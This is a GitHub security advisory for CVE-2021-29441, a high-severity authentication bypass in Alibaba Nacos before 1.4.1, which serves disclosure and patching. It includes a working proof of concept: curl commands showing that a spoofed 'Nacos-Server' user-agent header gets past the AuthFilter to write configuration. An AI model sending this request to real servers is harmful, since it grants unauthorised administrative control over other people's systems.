Authentication Bypass

High severity GitHub Reviewed Published on Apr 27, 2021 • Updated on Aug 12

Vulnerability details Dependabot alerts 0

Package

com.alibaba.nacos:nacos-common (Maven)

Affected versions	Patched versions
< 1.4.1	1.4.1

Description

When configured to use authentication (`-Dnacos.core.auth.enabled=true`) Nacos uses the `AuthFilter` servlet filter to enforce authentication. This filter has a backdoor that enables Nacos servers to bypass this filter and therefore skip authentication checks. This mechanism relies on the `user-agent` HTTP header so it can be easily spoofed.

The following request to the `configuration` endpoint gets rejected as we are not providing any credentials:

```
❯ curl -X POST "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld"
{"timestamp":"2020-12-02T14:33:57.154+0000","status":403,"error":"Forbidden","message":"unknown user!","path":"/nacos/v1/cs/configs"}
```

However the following one gets accepted by using the `Nacos-Server` user-agent header:

```
❯ curl -X POST -A Nacos-Server "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld"
true
```

Impact

This issue may allow any user to carry out any administrative tasks on the Nacos server.

References

- https://nvd.nist.gov/vuln/detail/CVE-2021-29441
- alibaba/nacos#4701
- alibaba/nacos#4703
- GHSA-36hp-jr8h-556f

Severity

High

Weaknesses

CWE-290

CVE ID

CVE-2021-29441

GHSA ID

GHSA-36hp-jr8h-556f

Source code

No known source code

This advisory has been edited. See History.

See something to contribute? Suggest improvements for this vulnerability.